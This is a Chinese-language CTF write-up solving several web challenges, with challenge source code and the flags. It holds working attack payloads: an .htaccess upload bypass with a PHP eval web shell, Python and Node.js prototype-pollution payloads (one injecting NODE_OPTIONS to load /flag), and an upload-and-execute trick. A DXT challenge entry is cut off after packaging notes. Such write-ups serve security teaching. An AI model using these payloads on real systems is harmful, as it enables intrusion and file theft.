WEB
only real
在登录界面源码中找到账号密码登录

进去后发现上传按钮是灰的,尝试将源码中disabled删除后上传什么回显也没有,换个思路去访问了upload.php和uploads/,发现前者是“上传成功”,后者是“forbidden”,说明有这个文件和目录,所以直接换成upload.php上传,但是直接上传1.php失败,检测非法类型,.htaccess绕过即可
<FilesMatch "1.png" > SetHandler application/x-httpd-php </FilesMatch>
|
<?php eval($_POST[123]);?>
|
然后访问/uploads/1.png蚁剑连接成功,在上级目录找到flag

xmctf{xm_xxe_blind_success}
ez_python
from flask import Flask, request import json
app = Flask(__name__)
def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
class Config: def __init__(self): self.filename = "app.py"
class Polaris: def __init__(self): self.config = Config()
instance = Polaris()
@app.route('/', methods=['GET', 'POST']) def index(): if request.data: merge(json.loads(request.data), instance) return "Welcome to Polaris CTF"
@app.route('/read') def read(): return open(instance.config.filename).read()
@app.route('/src') def src(): return open(__file__).read()
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=False)
|
看到源码中的merge函数就知道是个原型链污染
然后直接污染filename即可
{"config":{"filename":"/flag"}}
|
在/路由json传参后访问/read即可读取/flag

XMCTF{7eb87629-c5bc-4f3b-a838-428eb91dd9d4}
ezpollute
const express = require('express'); const { spawn } = require('child_process'); const path = require('path');
const app = express(); app.use(express.json()); app.use(express.static(__dirname));
function merge(target, source, res) { for (let key in source) { if (key === '__proto__') { if (res) { res.send('get out!'); return; } continue; } if (source[key] instanceof Object && key in target) { merge(target[key], source[key], res); } else { target[key] = source[key]; } } }
let config = { name: "CTF-Guest", theme: "default" };
app.post('/api/config', (req, res) => { let userConfig = req.body;
const forbidden = ['shell', 'env', 'exports', 'main', 'module', 'request', 'init', 'handle','environ','argv0','cmdline']; const bodyStr = JSON.stringify(userConfig).toLowerCase(); for (let word of forbidden) { if (bodyStr.includes(`"${word}"`)) { return res.status(403).json({ error: `Forbidden keyword detected: ${word}` }); } }
try { merge(config, userConfig, res); res.json({ status: "success", msg: "Configuration updated successfully." }); } catch (e) { res.status(500).json({ status: "error", message: "Internal Server Error" }); } });
app.get('/api/status', (req, res) => {
const customEnv = Object.create(null); for (let key in process.env) { if (key === 'NODE_OPTIONS') { const value = process.env[key] || "";
const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;
if (!dangerousPattern.test(value)) { customEnv[key] = value; } continue; } customEnv[key] = process.env[key]; } const proc = spawn('node', ['-e', 'console.log("System Check: Node.js is running.")'], { env: customEnv, shell: false }); let output = ''; proc.stdout.on('data', (data) => { output += data; }); proc.stderr.on('data', (data) => { output += data; }); proc.on('close', (code) => { res.json({ status: "checked", info: output.trim() || "No output from system check." }); }); });
app.get('/', (req, res) => { res.sendFile(path.join(__dirname, 'index.html')); });
app.listen(3000, '0.0.0.0', () => { console.log('Server running on port 3000'); });
|
看到源码中merge依旧是个原型链污染,但是是js的
首先通过/api/config路由污染原型链,添加NODE_OPTIONS,在/api/status由于process.env中本来没有NODE_OPTIONS,所以就会读取污染后的Object.prototype.NODE_OPTIONS的值,最后通过spawn创建子进程,node.js进程启动时会自动读取并解析NODE_OPTIONS这个变量值并作为命令参数执行
#/api/config POST: { "constructor": { "prototype": { "NODE_OPTIONS": "-r /flag" } } }
|
然后访问/api/status即可获得flag

XMCTF{3b4ce14d-9b0b-4b32-9d75-314992131edc}
1Broken Trust
尝试过斜体字,大小写,全半角未果
AutoPypy
import os import sys import subprocess from flask import Flask, request, render_template, jsonify
app = Flask(__name__)
BASE_DIR = os.path.dirname(os.path.abspath(__file__)) UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER)
@app.route('/') def index(): return render_template("index.html")
@app.route('/upload', methods=['POST']) def upload(): if 'file' not in request.files: return 'No file part', 400 file = request.files['file'] filename = request.form.get('filename') or file.filename save_path = os.path.join(UPLOAD_FOLDER, filename) save_dir = os.path.dirname(save_path) if not os.path.exists(save_dir): try: os.makedirs(save_dir) except OSError: pass
try: file.save(save_path) return f'成功上传至: {save_path}' except Exception as e: return f'上传失败: {str(e)}', 500
@app.route('/run', methods=['POST']) def run_code(): data = request.get_json() filename = data.get('filename')
target_file = os.path.join('/app/uploads', filename)
launcher_path = os.path.join(BASE_DIR, 'launcher.py')
try: proc = subprocess.run( [sys.executable, launcher_path, target_file], capture_output=True, text=True, timeout=5, cwd=BASE_DIR ) return jsonify({"output": proc.stdout + proc.stderr}) except subprocess.TimeoutExpired: return jsonify({"output": "Timeout"})
if __name__ == '__main__': import site print(f"[*] Server started.") print(f"[*] Upload Folder: {UPLOAD_FOLDER}") print(f"[*] Target site-packages (Try to reach here): {site.getsitepackages()[0]}") app.run(host='0.0.0.0', port=5000)
|
import subprocess import sys
def run_sandbox(script_name): print("Launching sandbox...") cmd = [ 'proot', '-r', './jail_root', '-b', '/bin', '-b', '/usr', '-b', '/lib', '-b', '/lib64', '-b', '/etc/alternatives', '-b', '/dev/null', '-b', '/dev/zero', '-b', '/dev/urandom', '-b', f'{script_name}:/app/run.py', '-w', '/app', 'python3', 'run.py' ] subprocess.call(cmd) print("ok")
if __name__ == "__main__": script = sys.argv[1] run_sandbox(script)
|
可以看到,这里能够实现上传文件后执行该文件,然后尝试直接执行flag文件,让报错带出flag(虽然感觉是非预期)

xmctf{699f4568de00f2df35f98005567398d3}
1DXT
题目要求上传一个.dxt文件,首先了解一下.dxt文件是什么,参考Desktop Extensions (DXT) 详解_dxt文件-CSDN博客,Desktop Extensions (DXT) - 知乎
简单来说就是一个包含本地MCP服务器信息的压缩包,其中比较重要的就是manifest.json这个文件
npm install -g @anthropic-ai/dxt 在包含您的本地 MCP 服务器的文件夹中,运行 dxt init。此命令将指导您创建 manifest.json。 运行 dxt pack 来创建一个 dxt 文件。 现在,任何实现 DXT 支持的应用程序都可以运行您的本地 MCP 服务器。例如,使用 Claude for macOS and Windows 打开该文件会显示一个安装对话框。
|